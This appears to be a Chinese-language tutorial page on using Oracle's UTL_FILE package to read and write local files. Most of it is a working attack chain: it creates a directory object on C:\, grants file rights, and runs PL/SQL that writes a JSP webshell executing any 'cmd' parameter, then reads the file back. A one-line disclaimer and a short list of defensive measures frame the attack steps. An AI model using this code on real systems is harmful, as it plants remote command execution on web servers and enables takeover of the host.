首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> Oracle 資料庫 >> Oracle 資料庫基礎

Oracle UTL_FILE 套件實作本地檔案讀寫與 WebShell 風險示範

     編輯:Oracle 資料庫基礎

前言

當攻擊者透過 SQL 注入取得 Oracle DBA 權限,且資料庫伺服器與 Web 伺服器位於同一主機時,可利用 Oracle 內建的 UTL_FILE 套件對本地檔案系統進行讀寫操作,進而植入 WebShell 奪取更高權限。本文說明操作流程,僅供防禦與稽核參考,嚴禁用於非法用途。

前置條件

  • 已具備 DBA 權限(或具備 CREATE ANY DIRECTORY、READ/WRITE ON DIRECTORY 權限)。
  • 知曉 Web 站點的實體路徑(如 C:\inetpub\wwwroot)。

操作步驟示範

1. 建立目錄物件指向目標路徑

CREATE OR REPLACE DIRECTORY IST0_DIR AS 'C:\';

2. 授予讀寫權限(視環境可省略)

GRANT READ, WRITE ON DIRECTORY IST0_DIR TO 目標用戶;

3. 撰寫 PL/SQL 寫入檔案(植入 WebShell)

DECLARE
    isto_file UTL_FILE.FILE_TYPE;
BEGIN
    isto_file := UTL_FILE.FOPEN('IST0_DIR', 'kj021320.JSp', 'W');
    UTL_FILE.PUT_LINE(isto_file, '<%@ page import="java.io.*" %><% Runtime.getRuntime().exec(request.getParameter("cmd")); %>');
    UTL_FILE.FFLUSH(isto_file);
    UTL_FILE.FCLOSE(isto_file);
END;
/

4. 驗證檔案內容(讀取操作)

DECLARE
    isto_file UTL_FILE.FILE_TYPE;
    fp_buffer VARCHAR2(4000);
BEGIN
    isto_file := UTL_FILE.FOPEN('IST0_DIR', 'kj021320.JSP', 'R');
    UTL_FILE.GET_LINE(isto_file, fp_buffer);
    DBMS_OUTPUT.PUT_LINE(fp_buffer);
    UTL_FILE.FCLOSE(isto_file);
END;
/

防禦建議

  • 嚴格控管 CREATE ANY DIRECTORY 與 UTL_FILE 相關權限,僅授予必要帳號。
  • 資料庫伺服器與 Web 伺服器分離部署,降低本地檔案被竄改風險。
  • 啟用資料庫稽核,監控 UTL_FILE 相關呼叫與目錄物件異動。
  • 定期掃描 Web 目錄異常檔案(如非預期的 .jsp、.php、.aspx)。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved